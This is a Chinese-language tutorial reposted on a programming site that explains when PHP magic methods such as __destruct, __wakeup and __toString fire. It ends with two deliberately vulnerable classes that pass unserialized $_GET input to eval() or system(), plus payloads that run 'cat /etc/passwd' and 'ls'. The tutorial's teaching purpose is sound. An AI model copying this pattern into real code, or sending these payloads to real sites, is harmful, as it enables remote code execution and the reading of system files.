PHP反序列化漏洞之魔术方法

news2024/11/28 19:04:07

一、魔术方法

PHP魔术方法(Magic Methods)是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct()__toString()等。

魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法,我们可以增强PHP对象的灵活性和功能性。

二、PHP魔术方法详解

学习魔术方法,需要去熟悉每一个魔术方法的触发时机,这一点是在学习 PHP 反序列化漏洞中最重要的,如果不知道什么时候出发魔术方法,就无法去构造POP链,其次,需要了解每个魔术方法的参数列表和返回值类型,下面详细介绍 PHP 中的魔术方法。
在这里插入图片描述

魔术方法触发时机
__construct()类的构造函数,在类实例化对象时自动调用构造函数
__destruct()类的析构函数,在对象销毁之前自动调用析构函数
__sleep()在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。
__set($property, $value)当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。
__get($property)当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。
__isset($property)当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
__unset($property)当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
__call($method, $arguments)调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数
__callStatic($method, $arguments)当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。
__toString()当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法
__invoke()当将一个对象作为函数进行调用时自动调用。
__clone()当使用 clone 关键字复制一个对象时自动调用。
__set_state($array)在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。
__debugInfo()在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。

1、__construct()

构造函数__construct(),在实例化一个对象的时候,首先会去自动执行该方法

<?php
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");    //实例化对象时触发构造函数__construct()
$ser = serialize($test);       //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>

2、__destruct()

析构函数__destruct(),在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

<?php
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次";
    }
}
$test = new User("benben");  //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test);     //在序列化过程中不会触发
unserialize($ser);           //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>

以上代码总共触发两次析构函数,第一次为实例化对象后,代码运行完会,对象会被销毁,触发析构函数_destruct();第二次在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()

3、__sleep()

在进行序列化时,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password) {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');      //sleep执行返回需要序列化的属性名,过滤掉password变量
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);      //serialize()只序列化sleep返回的变量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>

4、__weakup()

在进行反序列化时,unserialize()函数会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法。可以在此方法中重新初始化对象状态。

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;       //反序列化之前触发_wakeup(),给password赋值
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';    // 字符串中并没有password
var_dump(unserialize($user_ser));   // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL } 
?>

__wakeup()在反序列化unserialize()之前被调用
__destruct()在反序列化unserialize()之后被调用

5、__toString()

当使用echoprint输出对象将对象转化为字符串形式,或者将一个“对象”与“字符串”进行拼接时,会调用__toString()方法

<?php
class User {
    var $benben = "this is test!!";
    public function __toString()
    {
        return '格式不对,输出不了!';
    }
}
$test = new User() ;     // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test);          // 打印输出对象可以使用print_r或者var_dump,该对象输出后为:User Object(    [benben] => this is test!!)
echo $test;              // 如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()
?>

6、__invoke()

当将一个对象作为函数进行调用时会触发__invoke()函数。

<?php
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;     //把类User实例化为对象并赋值给$test
echo $test ->benben;     //正常输出对象里的值benben
$test();                 //加()是把test当成函数test()来调用,此时触发_invoke()
?>

7、__call()

当调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数。

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test -> callxxx('a','b','c'); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>

__call(string $function_name, array $arguments)该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

8、__callStatic()

当调用不存在或不可见的静态方法时,会自动调用__callStatic()方法,传递方法名和参数数组作为参数。

<?php
class User {
    public static function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test::callxxx('a');        //静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,传参(callxxx,a),输出:callxxx,a
?>

9、__set()

__set($name, $value)函数,给一个对象的不存在或不可访问(private修饰)的属性赋值时,PHP就会执行__set()方法。__set()方法包含两个参数,$name表示变量名称,$value表示变量值,两个参数不可省略。

<?php
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test->var2=1;        //给不存在的成员属性var2赋值为1,自动触发__set()方法;如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>

10、__get()

__get($name)函数,当程序访问一个未定义或不可见的成员变量时,PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;         //调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>

11、__isset()

当对一个对象的不存在或不可访问的属性使用 isset()empty() 函数时自动调用,传递属性名作为参数。

<?php
    class User {
        private $var;
        public function __isset($arg1)
        {
            echo  $arg1;
        }
    }
$test = new User() ;
isset($test->var);       // 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>

12、__unset()

当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。

<?php
    class User {
        private $var;
        public function __unset($arg1 )
        {
            echo  $arg1;
        }
    }
$test = new User() ;
unset($test->var);        // 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>

13、__clone()

当使用 clone 关键字复制一个对象时自动调用。

<?php
    class User {
        private $var;
        public function __clone( )
        {
            echo  "__clone test";
        }
    }
$test = new User() ;
$newclass = clone($test)        // __clone test
?>

三、魔术方法漏洞利用示例

1、__destruct()漏洞利用

<?php
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);       //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>

以上代码在反序列化之后,会触发__destruct()魔术方法,该方法中有命令执行函数eval(),又因为反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关,所以我们在序列化字符串中重新给$cmd赋值,例如:$cmd="system('cat /etc/passwd');"
,这样在反序列化之后会去执行eval()函数,从而触发代码执行。这只是最简单的反序列化漏洞利用方式,旨在理解如何去利用反序列化去触发代码执行。

// payload:
?benben=O:4:"User":1:{s:3:"cmd";s:26:"system('cat /etc/passwd');";}

在这里插入图片描述

2、__wakeup()漏洞利用

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>                     

和上一题__destruct()漏洞利用方式类似,在反序列化之前会触发__wakeup(),该函数中有执行系统命令的system()函数,他去执行对象的username属性,所以我们在序列化字符串中让username的值为系统命令即可。

// payload:
?benben=O:4:"User":1:{s:8:"username";s:2:"ls";} 

在这里插入图片描述

以上知识总结来自橙子科技php反序列化漏洞学习,并结合自己的理解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/779751.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java项目之网络视频播放器(ssm+mysql+jsp)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于ssm的网络视频播放器。技术交流和部署相关看文章末尾&#xff01; 开发环境&#xff1a; 后端&#xff1a; 开发语言&#xff1a;Java 框架&a…

Arduino RP2040 两个CDC虚拟串口通讯

Arduino RP2040 两个CDC虚拟串口通讯 &#x1f3ac;通讯效果演示&#xff1a; &#x1f33f;基于Earle F. Philhower的固件开发平台&#xff1a; https://github.com/earlephilhower/arduino-pico&#x1f516;USB配置参考&#xff1a;https://arduino-pico.readthedocs.io/en/…

【算法基础:数学知识】4.1 质数

文章目录 质数例题列表866. 试除法判定质数&#xff08;质数的判定&#xff09;867. 分解质因数&#xff08;&#xff09;868. 筛质数埃氏筛欧氏筛 / 线性筛 相关链接 质数 定义&#xff1a;质数是指在大于1的自然数中&#xff0c;除了1和它本身以外不再有其他因数的自然数。 …

安装Electron时报错command sh -c node install.js

在安装Electron报如下错误 在指令后面添加 --ignore-scripts&#xff0c;意思是npm 将不会运行在package.json中指定的scripts npm install --save -dev electron --ignore-scripts

Linux系统安装部署MySQL完整教程(图文详解)

前言&#xff1a;最近网上翻阅了大量关于Linux安装部署MySQL的教程&#xff0c;在自己部署的时候总是存在一些小问题&#xff0c;例如&#xff1a;版本冲突&#xff0c;配置失败和启动失败等等&#xff0c;功夫不负有心人&#xff0c;最后还是安装部署成功了&#xff0c;所以本…

《TCP IP网路编程》第九章

第 9 章 套接字的多种可选项 我们进行套接字编程时往往只关注数据通信&#xff0c;而忽略了套接字具有的不同特性。但是&#xff0c;理解这些特性并根据实际需要进行更改也很重要。下面列出了一些套接字可选项。 从表中可以看出&#xff0c;套接字可选项是分层的。 IPPROTO_IP …

[java安全]TemplatesImpl在Shiro550反序列化

文章目录 【java安全】TemplatesImpl在Shiro550反序列化Shiro的原理Shiro反序列化产生演示攻击过程payload使用key加密 构造不含数组的GadGets简单调用链 改造cc6为CommonsCollctionsShiro完整POC触发Shiro550漏洞进阶POC总结 【java安全】TemplatesImpl在Shiro550反序列化 Sh…

论文工具——写论文好用的绘图工具(甘特图+流程图+网络模型图+泳道图)

文章目录 引言正文手动画图的在线画图工具tldraw开源免费ProcessOnDraw.io 网络模型图工具NN-SVG设置参数自动生成Netron上传模型自动生成PlotNeuralNet编码生成 总结 引言 在写HiFi-GAN论文的代码阅读过程中&#xff0c;我发现仅仅通过文字来描述网络结构&#xff0c;不够详细…

ORB-SLAM2学习笔记4之KITTI开源数据集运行ORB-SLAM2生成轨迹并用evo工具评估轨迹

文章目录 0 引言1 KITTI数据集1.1 下载数据1.2 真值轨迹格式转换 2 单目ORB-SLAM22.1 运行ORB-SLAM22.2 evo评估轨迹(tum格式)2.2.1 载入和对比轨迹2.2.2 计算绝对轨迹误差 3 双目ORB-SLAM23.1 运行ORB-SLAM23.2 evo评估轨迹(kitti格式)3.2.1 载入和对比轨迹3.2.2 计算绝对轨迹…

Linux服务器安装部署MongoDB数据库 - 无公网IP远程连接「内网穿透」

文章目录 前言1.配置Mongodb源2.安装MongoDB数据库3.局域网连接测试4.安装cpolar内网穿透5.配置公网访问地址6.公网远程连接7.固定连接公网地址8.使用固定公网地址连接 前言 MongoDB是一个基于分布式文件存储的数据库。由 C 语言编写&#xff0c;旨在为 WEB 应用提供可扩展的高…

升级dubbo3方案

dubbo3 新特性 1. Dubbo3 应用级服务发现设计 显著降低服务发现过程的资源消耗&#xff0c;包括提升注册中心容量上限、降低消费端地址解析资源占用等&#xff0c;使得 Dubbo3 框架能够支持更大规模集群的服务治理&#xff0c;实现无限水平扩容。适配底层基础设施服务发现模型…

【VScode/VS】解决头文件路径问题

vs 中明明包含了头文件所在路径&#xff0c;但是却找不到头文件 首先&#xff0c;将要添加的压缩包解压&#xff0c;放在任意一个盘里&#xff0c;注意&#xff0c;我们在代码里要添加的头文件路径是 #include <tensorflow/c/c_api.h> 接下来我们要添加在VS中的所有路径…

CHI协议保序之trans order保序

一致性系统中&#xff0c;使用三种保序方式&#xff1b; Transaction ordering □ 除了 comp response 来规定 RN 发出的 requeset 的执行顺序之外&#xff0c;还有一种 order 机制来定义RN<->HN,HN<->SN 之间&#xff0c;命令执行的顺序&#xff1a; □ 该机制通…

C语言编程---案例练习

文章目录 格式化输出 格式化输出 %d&#xff0c;输出整数&#xff1b; %f&#xff0c;输出浮点数&#xff1b;%.3f 保留三位小数&#xff1b; %e&#xff0c;输出双精度浮点数&#xff1b; %c&#xff0c;输出单个字符&#xff1b;将字符格式化%d&#xff0c;即转ASCII码&…

解决JMeter+Grafana+influxdb 配置出现transaction无数据情形

问题描述 JMeterGrafanainfluxdb 配置时&#xff0c;Darren洋发现jmeter中明明已经配置好了事务条件以及接口实例信息&#xff0c;但就是在grafana的头部导航栏中的transaction按钮下来没有相应事务数据信息&#xff0c;经过相关资料查询&#xff0c;Darren洋发现执行以下两个步…

EAP系统如何助力光伏制造行业实现数据采集和控制的自动化?

光伏制造行业作为清洁能源领域的重要组成部分&#xff0c;随着市场的扩大和技术的进步&#xff0c;对生产效率、产品质量和成本控制的要求也越来越高。在这个竞争激烈的行业中&#xff0c;企业需要寻求自动化解决方案来提高生产效率和降低人工成本。 图.光伏面板生产&#xff0…

155.最小栈-C++

题目来源&#xff1a;力扣 题目描述&#xff1a; 设计一个支持 push &#xff0c;pop &#xff0c;top 操作&#xff0c;并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。 void push(int val) 将元素val推入堆栈。 void pop() 删除堆栈顶部…

数据库redis作业

数据库redis作业 redis9种数据类型的基本操作 redis持久化&#xff1a;分别启用rdb和aof&#xff0c;并查看是否有对应文件生成 作业1&#xff1a;redis9种数据类型的基本操作 1、key操作 key * #查询所有的key keys *exists 参数 #参数&#xff1a;key #判断该key是否存…

网络安全防御篇之安全问题及防火墙简介

网络安全常识及术语 网络的脆弱性 什么样的网络是安全的

20230723将红米redmi note 5 pro由默认的12小时显示修改为24小时显示

20230723将红米redmi note 5 pro由默认的12小时显示修改为24小时显示 2023/7/23 18:51 redmi note 5 pro 24小时 显示 https://jingyan.baidu.com/article/95c9d20dae4c42ad4e7561e7.html 红米手机24小时制怎么设置 播报文章 原创|浏览&#xff1a;169|更新&#xff1a;2021-02…